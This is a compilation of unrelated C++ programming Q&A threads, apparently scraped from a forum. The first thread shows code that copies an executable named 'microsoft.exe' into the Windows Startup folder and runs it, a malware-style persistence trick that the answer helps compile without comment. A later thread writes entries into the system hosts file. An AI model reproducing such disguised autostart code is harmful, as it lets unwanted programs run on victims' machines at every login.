I get the error E2285 no match found for "system(string)
please help me.
the code is down below
I can't get why it isn't working, for this usuallly works with cout<<
#include <stdio.h> /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>
string GetCurrentWorkingDir( void ) {
char buff[FILENAME_MAX];
GetCurrentDir( buff, FILENAME_MAX );
std::string current_working_dir(buff);
return current_working_dir;
}
int main(){
string dir;
dir = GetCurrentWorkingDir();
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.html");
system("cd\\");
system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.exe");
return 1;
}
std::system takes const char* not std::string, which is obvious from the warnings.
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")
Here, the result of the sum is std::string. Collect the argument into one single std::string, then use std::string::c_str method to call std::system.
auto arg = "move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup";
std::system(arg.c_str());
Besides that, you have many errors, like you did not include <string> header, you return 1 from main instead of 0. You use using namespace std;, you use C versions of the standard headers (<stdio.h> instead of <cstdio>), you never included <cstdlib> which defines std::system and so on.
Related
I'm writing a small CLI application and I want to allow the user to redirect to a file while standard cout statements go to the output.txt file I want progress to always to go the screen.
./myApp > output.txt
10% complete
...
90% complete
Completed
Is this possible? How can I do it?
Thanks in advance!!
This will work even if both stdin and stdout have been redirected:
spectras#etherbee:~$ ./term
hello terminal!
spectras#etherbee:~$ ./term >/dev/null 2>&1
hello terminal!
The idea is to open the controlling terminal of the process directly, bypassing any redirection, like this:
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
int fd = open("/dev/tty", O_WRONLY);
if (fd < 0 && errno != ENODEV) {
/* something went wrong */
return 1;
}
int hasTTY = (fd >= 0);
if (hasTTY) {
write(fd, "hello terminal!\n", 16);
}
return 0;
}
From man 4 tty:
The file /dev/tty is a character file with major number 5 and
minor number 0, usually of mode 0666 and owner.group root.tty. It is
a synonym for the controlling terminal of a process, if any.
If you're using C++, you might want to wrap the file descriptor into a custom streambuf, so you can use regular stream API on it. Alternately, some implementations of the C++ library offer extensions for that purpose. See here.
Or, if you don't care about getting the error code reliably, you could just std::ofstream terminal("/dev/tty").
Also as a design consideration if you do this, offering a quiet option to let the user turn off the writing to the terminal is a good idea.
Your process cannot know if the shell redirects the standard console output (std::cout) or not.
So you'll need another handle that lets you output to the terminal independently of that redirection.
As #Mark mentioned in their comment you could (ab-)use1 std::cerr to do that, along with some ASCII trickery to overwrite the current output line at the terminal (look at backspace characters: '\b').
1)Not to mention the mess printed at the terminal if the output isn't actually redirected.
You can write your progress indicators to the stderr stream. They will appear on the console if the user redirects stdout to a file.
For example:
fprintf(stderr, "10%% complete\n");
I figured out how to do it, even if the user redirects stderr. The following code gets the name of the current terminal and checks to see if our output is being redirected. It also has a my_write() function that allows you to write to both the terminal and the redirect file, if they've redirected stdout. You can use the my_write() function with the writetoterm variable where-ever you want to write something that you want to always be written to the terminal. The extern "C" has to be there, otherwise (on Debian 9 with GCC 6.3, anyway) the ttyname() function will just return NULL all the time.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <iostream>
#include <string>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <sstream>
using std::string;
using std::fstream;
using std::cout;
using std::endl;
using std::cerr;
using std::stringstream;
void my_write(bool writetoterm, int termfd, string data)
{
if(writetoterm)
{
int result = write(termfd, data.c_str(), data.length());
if(result < data.length()){
cerr << "Error writing data to tty" << endl;
}
}
cout << data;
}
extern "C" {
char* GetTTY(int fd){
//printf("%s", ttyname(fd));
return ttyname(fd);
}
}
int main(int argc, char** argv){
getenv("TTY");
bool writetoterm = false;
struct stat sb = {};
if(!GetTTY(STDOUT_FILENO)){
//not a TTY
writetoterm = true;
}
int ttyfd = open(GetTTY(2), O_WRONLY);
if(ttyfd < 0){
//error in opening
cout << strerror(errno) << endl;
}
string data = "Hello, world!\n";
my_write(true, ttyfd, data);
int num_for_cout = 42;
stringstream ss;
ss << "If you need to use cout to send something that's not a string" << endl;
ss << "Do this: " << num_for_cout << endl;
my_write(writetoterm, ttyfd, ss.str().c_str());
return 0;
}
I found the official std:: method of handling this. There is another type... std::clog. This is specifically for information and always appears on the command line even though the user redirects the output of the program myProgram > out.txt.
Thanks this was great to see all the methods that this can be done.
After referencing the following resources: here and here. So I can see how the right way to do this is. Then after reading this post, I can see my previous warning was fixed through a typechar of char* "mystring" being passed into the argument of a function.
However, I am still getting the an error for a pretty intuitive couple lines of code (though I haven't touched c++ in some type, hence why I am having some trouble).
TextDocument.h
#ifndef ____TextDocument__
#define ____TextDocument__
#include <stdio.h>
class TextDocument {
char *text;
char *docName;
public:
void SetText(char *otherText);
char *GetText();
void SetDocName(char *newName);
char *GetDocName();
int GetTextLength();
};
#endif /* defined(____TextDocument__) */
TextDocument.cpp
#include <iostream>
#include "TextDocument.h"
#include "string.h"
using namespace std;
void TextDocument::SetText(char *otherText){
cout << otherText << endl;
if (text != 0)
delete text; //free the memory
text = new char[strlen(otherText)+1]; // +1 for the null char
strcpy(text, otherText); //text <- otherText
}
char *TextDocument::GetText(){
return text;
}
void TextDocument::SetDocName(char *name){
if (docName != 0)
delete docName;
docName = new char[strlen(name) + 1]; // +1 for the \0 terminator
strcpy(docName, name); // docName <- name
}
char *TextDocument::GetDocName(){
return docName;
}
int TextDocument::GetTextLength(){
if (text != 0) {
return strlen(text);
}
else return 0;
}
main.cpp
#include <iostream>
#include "string.h"
#include "TextDocument.h"
#include "Folder.h"
using namespace std;
int main(void){
TextDocument *sampleDoc;
sampleDoc = new TextDocument;
sampleDoc->SetText((char *)"some str"); // I have no idea why there is a linker error here.
return 0;
}
run.sh
g++ *.cpp -o main
./main
output:
Blakes-MacBook-Pro:data_encapsulation bmc$ sh run.sh
some str
main(848,0x7fff7f54b300) malloc: *** error for object 0x8000000000000000: pointer being freed was not allocated
*** set a breakpoint in malloc_error_break to debug
run.sh: line 2: 848 Abort trap: 6 ./main
Problem 1
Why isn't it deleting my char* text when it is uncreated.
Problem 2 (Sidebar problem, not my immediate issue)
Where is the best place to put all those .h files? Example) I need #include <iostream> and using namespace std inside of a few different .h or .cpp files, where would be the best place to put them; if you put them in only the main those other modules won't be able to see it and yield errors.
1st Fix Submission
So after screwing with this thing some more, I got the error to go away with by changing the line from
if (text != 0)
delete text; //free the memory
to
if (text)
delete text; //free the memory
I guess I understand the logic if (thestringeisntempty) delete text; but why doesn't if(text != 0) delete text; work as well?
Two solutions:
Add a constructor to TextDocument that properly initializes your pointers.
TextDocument() : text(nullptr), docName(nullptr) {}
Use NULL instead of nullptr if your compiler doesn't support the latter.
Do away with char*s and use std::string.
In C++ I want to create a dynamic folder each time I run my program.
#include <direct.h> // mkdir
#include <iostream> // std
#include <iomanip> // put_time
int main(){
time_t rawtime;
struct tm * timeinfo;
char buffer[40];
time(&rawtime);
timeinfo = localtime(&rawtime);
//strftime(buffer, sizeof(buffer), "%d-%m-%Y %I:%M:%S", timeinfo);
strftime(buffer, sizeof(buffer), "%d_%m_%Y_%I_%M_%S", timeinfo);
std::string path = "C:/example/";
path.append(std::string(buffer));
mkdir(path.c_str());
//system("pause");
return 0;
}
I want to create a folder named like "Example/03_03_2016_20_22_26", but the code above will not create the folder I want.
If I remove the path.append(std::string(buffer)); line, it will create the folder named example in my C directory.
However I want a folder named according to the complete date and time.
Where am I wrong or what am I missing?
I use this code for a similar purpose in my project (SAVE_DIR is a macro definition):
#include <time.h>
#include <iomanip>
#include <sstream>
std::ostringstream pathstr; // a convenient way to construct strings
std::time_t now = std::time(nullptr); // get the current time
// insert the required parts into the stream
pathstr << SAVE_DIR
<< std::put_time(std::localtime(&now), "%Y_%m_%d_%H_%M_%S") << ".png";
std::string path = pathstr.str(); // and the result as std::str
Output:
/home/user/prog/render/rt/saves/2016_03_03_23_10_50.png
This has the benefit of being pure C++, though it may look a bit clumsy, depending on your taste.
As for what your code may fail, I'd watch the string values in a debugger first, and then save the return value of mkdir() and check it against the specifications: POSIX mkdir().
I guess the issue is in the slash '/'.
On Windows better use the backslash.
Try
std::string path="C:\\example\\"
I'm noob in C++ but wanting to learn. I have a little program that writes some info to my \etc\hosts in Windows; I get the %WINDIR% variable via GetEnvironmentVariable(), if I put the full path manually everything is ok, but when I substitute with WINDIR variable my code isn't compiling. I know I don't do something right.
#include <windows.h>
#include <ios>
#include <fstream>
char buffer[1000];
int main() {
GetEnvironmentVariable("WINDIR",(char*)&buffer,sizeof(buffer));
std::ofstream log;
log.open("%s\\system32\\drivers\\etc\\hosts", buffer);
log << "127.0.0.1 domain.com\n" << std::endl;
return 0;
}
I get really ugly errors like:
C:\Documents and Settings\xtmtrx\Desktop\coding\windir.cpp no matching function for call to `std::basic_ofstream<char, std::char_traits<char> >::open(const char[30], char[1000])'
ofstream cannot format the path for you. You need to do that separately, eg:
#include <windows.h>
#include <ios>
#include <fstream>
char buffer[1000] = {0};
int main() {
GetEnvironmentVariable("WINDIR",buffer,sizeof(buffer));
strcat(buffer, "\\system32\\drivers\\etc\\hosts");
std::ofstream log;
log.open(buffer, ios_base::ate);
log << "127.0.0.1 domain.com\n" << std::endl;
return 0;
}
FYI, you should use GetWindowsDirectory(), GetSystemDirectory(), SHGetSpecialFolderPath() or SHGetKnownFolderPath() instead of GetEnvironmentVariable(). And you should use PathCombine() when concantenating paths together so it can ensure the slashes are correct.
open("%s\\system32\\drivers\\etc\\hosts", buffer); open doesn't understand format strings..you are using %s does not make sense. learn here
Try like this:
GetEnvironmentVariable("WINDIR",buffer,sizeof(buffer));
strcat(buffer, "\\system32\\drivers\\etc\\hosts");
std::ofstream log;
log.open(buffer.str().c_str(), ios_base::ate);
You need to concate the string together like this:
LPTSTR windir[MAX_PATH];
LPTSTR fullpath[MAX_PATH];
GetWindowsDirectory(windir, MAX_PATH);
if(PathCombine(fullpath, windir, _T("system32\\drivers\\etc\\hosts")) != NULL) {
std::ofstream log;
log.open(buffer, ios_base::ate);
log << "127.0.0.1 domain.com\n" << std::endl;
}
At first you need to concate the directory and the file part with PathCombine. Then you can open the file and write the content. You should also note that you need admin permissions to change this file and some antivirus programmes may reject the access of the hosts file.
Merry Christmas, everyone.
Yesterday I download the Boost library. i use CodeBlocks (with Mingw32 gcc V4.4.1)
to compile it. The bjam command line is :
bjam install --toolset=gcc--prefix="C:\zjc\PluginFramework\boost_1_42_0" --build-type=complete.
and it is successful.
and i want to test the library. i write some code as follow:
#include <stdlib.h>
#include <iostream>
using std::cout;
using std::wcout;
using std::endl;
#include <string>
using std::string;
using std::wstring;
#include <boost/algorithm/string.hpp>
#include <boost/filesystem/path.hpp>
#include <boost/filesystem/operations.hpp>
#include <boost/format.hpp>
int main(int argc, char* argv[])
{
// ANSI character format
cout << boost::format( "%1% %2%" ) % "Hell" % "Low" <<endl;
string s1 = boost::str( boost::format( "%2% %1%" ) % "Hell" % "Low" );
cout << s1 << endl;
// UNICODE character format
wcout << boost::wformat( L"%s %X" ) % L"-1 is" % -1 << endl;
wstring s2 = boost::str( boost::wformat( L"%2$s %1$.2f" ) % 3.141592 % L"Version" );
wcout << s2 << endl;
// get the path of application(ANSI character set), note:boost::filesystem::path
string AnsiPath = boost::filesystem::initial_path<boost::filesystem::path>().string();
cout<<AnsiPath<<endl;
// get the path of application(unicode character set), note:boost::filesystem::wpath
wstring UnicodePath = boost::filesystem::initial_path<boost::filesystem::wpath>().string();
wcout<<UnicodePath<<endl;
system("PAUSE");
return 0;
}
one compile error occur: obj\Debug\main.o:C:\zjc\PluginFramework\boost_1_42_0\include\boost-1_42\boost\filesystem\operations.hpp|530|undefined reference to `boost::filesystem::detail::get_current_path_api(std::string&)'|
I have added the the library at linker option:
boost_system-mgw44-mt-d-1_42.lib
libboost_system-mgw44-sd-1_42.lib
boost_system-mgw44-d.lib
boost_system-mgw44-d-1_42.lib
boost_system-mgw44-mt-d-1_42.lib
the macros:
BOOST_ALL_DYN_LINK
BOOST_SYSTEM_NO_LIB
BOOST_SYSTEM_NO_DEPRECATED
_DEBUG
_CONSOLE
BOOST_FILESYSTEM_VERSION
BOOST_FILESYSTEM_DYN_LINK
BOOST_LIB_DIAGNOSTIC
I search the internet.the solution is linking the boost filesystem library.but i have linked the library. My Environment: Win 7 Home version, Code::Blocks V 10.05.
The Boost filesystem library is one of the linkable (and not header only) libraries included. Just add "boost_filesystem" before "boost_system".
If everything is set up the right way, you shouldn't have to add the libraries yourself:
Don't set BOOST_SYSTEM_NO_LIB/BOOST_FILESYSTEM_NO_LIB unless you really have to. If it isn't set, the headers should handle the dependencies for you.
The macros with BOOST_..._DYN_LINK will cause the headers to try to link the shared libraries (which you deactivated with the other macros).
Just one more note: If you'd like to add the libs by hand. Don't mix them and only add one variant each, which you need, and pick the right one (e.g. multithreaded debug "mt-d").